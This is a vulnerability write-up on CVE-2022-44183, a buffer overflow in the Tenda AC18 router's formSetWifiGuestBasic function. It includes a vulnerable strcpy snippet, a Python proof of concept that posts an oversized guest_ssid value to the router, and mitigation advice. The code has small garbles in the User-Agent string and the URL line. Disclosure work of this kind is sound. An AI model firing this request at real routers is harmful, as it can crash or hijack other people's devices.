CVE-2022-44183: Tenda AC18 V15.03.05.19 Buffer Overflow Vulnerability in formSetWifiGuestBasic Function

Recently, a critical buffer overflow vulnerability (CVE-2022-44183) has been discovered in the Tenda AC18 router with firmware version 15.03.05.19. This vulnerability exists within the formSetWifiGuestBasic function and can potentially lead to remote code execution or denial of service attacks. In this article, we will explore the details of this vulnerability, divulge the exploit details, and provide informative links to original references.

Vulnerability Details

Tenda AC18 V15.03.05.19 is vulnerable to a buffer overflow attack, which occurs when an attacker sends an excessively large amount of data to the formSetWifiGuestBasic function in the router's firmware. The function is responsible for configuring guest Wi-Fi settings, and the vulnerability lies in the way it handles user input.

An attacker can exploit this vulnerability by sending larger input than expected, causing the overflow of the buffer, and potentially overwriting critical memory sections, leading to remote code execution or malfunction of the system.

The vulnerability can be triggered through a crafted HTTP POST request with malformed parameters sent to the target device. Here's a code snippet demonstrating the vulnerable section of the formSetWifiGuestBasic function:

...
char wifi_guest_buffer[64];
strcpy(wifi_guest_buffer, guest_ssid);
...

The code snippet above demonstrates that the wifi_guest_buffer variable is a fixed size of 64 bytes, which could lead to a buffer overflow if the user-supplied input is not properly checked for size constraints.

Exploit Details

To exploit this vulnerability, an attacker must construct a malicious HTTP POST request and send it to the target device. The request should contain malformed parameters targeting the Tenda AC18's formSetWifiGuestBasic function. The following Python code demonstrates how an attacker might create such an exploit:

import requests

TARGET_IP = '192.168.1.1'  # Replace this with the router's IP Address

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5. (Windows NT 10.; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58..3029.110 Safari/537.3',
}

data = {
    'guest_ssid': 'A' * 68,  # Input data exceeding the size of the buffer
    'guest_enable': '1',
    'guest_auth': '',
    'guest_enc': '',
    'guest_key': '',
    'guest_cipher': '',
    'guest_time': '',
}

response = requests.post(f'http://{TARGET_IP}/goform/formSetWifiGuestBasic';, headers=headers, data=data)

By sending such a malicious request, an attacker can potentially take control of the affected router or cause it to crash, leading to a denial of service.

Original References

The original proof of concept and discovery of this vulnerability can be referenced from the following source:
- CVE-2022-44183 disclosure on CXSecurity

Mitigation

Users of the Tenda AC18 router with firmware version 15.03.05.19 are advised to monitor the release of firmware updates from the manufacturer addressing this vulnerability and update their devices as soon as possible. Moreover, limiting access to the router's administrative interface only to trusted users and internal networks can also help reduce the attack surface.

Conclusion

In summary, the CVE-2022-44183 vulnerability found in Tenda AC18 V15.03.05.19 routers poses a severe threat to its users. Exploitation of this buffer overflow vulnerability can lead to remote code execution or denial of service attacks. Users are urged to stay vigilant and apply any available fixes or firmware updates promptly.

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:32:00 UTC